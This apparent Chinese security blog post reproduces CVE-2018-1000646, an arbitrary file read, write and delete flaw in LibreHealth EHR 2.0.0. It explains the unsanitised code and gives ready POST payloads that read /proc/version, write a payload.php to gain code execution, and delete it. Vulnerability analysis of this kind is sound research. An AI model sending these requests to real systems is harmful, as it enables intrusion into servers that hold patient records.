LibreHealth 2.0.0 -任意文件操作漏洞利用

字数统计: 547字   |   阅读时长≈ 2分

LibreHealth 2.0.0 -任意文件操作漏洞利用

一、漏洞描述

1、漏洞简述

LibreHealthIO LH-EHR是一款开源的电子健康记录和医疗实践管理应用程序。

LibreHealthIO LH-HER REL-2.0.0版本中的导出模板存在任意文件写入漏洞。攻击者可利用该漏洞写入带有恶意内容的文件并可能远程执行代码。

二、机理分析

1、LibreHealth 2.0.0 -文件操作漏洞

影响版本： LibreHealthIO LH-EHR < REL-2.0.0

漏洞编号：CVE-2018-1000646

1

如图所示，贴入关键代码。在/patients/import_template.php文件中使用了PHP的file_get_contents函数读取文件，file_put_contents函数写入文件，unlink函数删除文件。而且这三个函数传入参数之前，没有对传入参数做任何处理。其中写入文件函数，文件名和文件内容用户输入可控，文件路径可知，故可以导致远程代码执行。

三、攻击路径

1.任意文件读取：

在LibreHealth中，有权访问门户网站患者（经过身份验证）的用户可以发送恶意POST请求读取任意文件。

登录之后，构造payload

POST /patients/import_template.php HTTP/1.1

mode=get&docid=/proc/version

2

2.任意文件写入：此攻击可导致RCE

在LibreHealth中，有权访问门户网站患者（经过身份验证）的用户可以发送写入任意文件的恶意POST请求。

当你发送攻击时，你可以浏览写文件的网站payload.php在/patients/payload.php

登录之后，构造payload

POST /patients/import_template.php HTTP/1.1

mode=save&docid=payload.php&content=

3

访问/patients/payload.php

4

3.任意文件删除：

在LibreHealth中，有权访问门户网站患者（经过身份验证）的用户可以发送恶意POST请求删除任意文件。

登录之后，构造payload

POST /patients/import_template.php HTTP/1.1

mode=delete&docid=payload.php

删除刚刚写入的payload.php

5

再访问/patients/payload.php。文件已删除

6

四、防御方案

目前厂商还没有提供补丁或者升级程序

赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。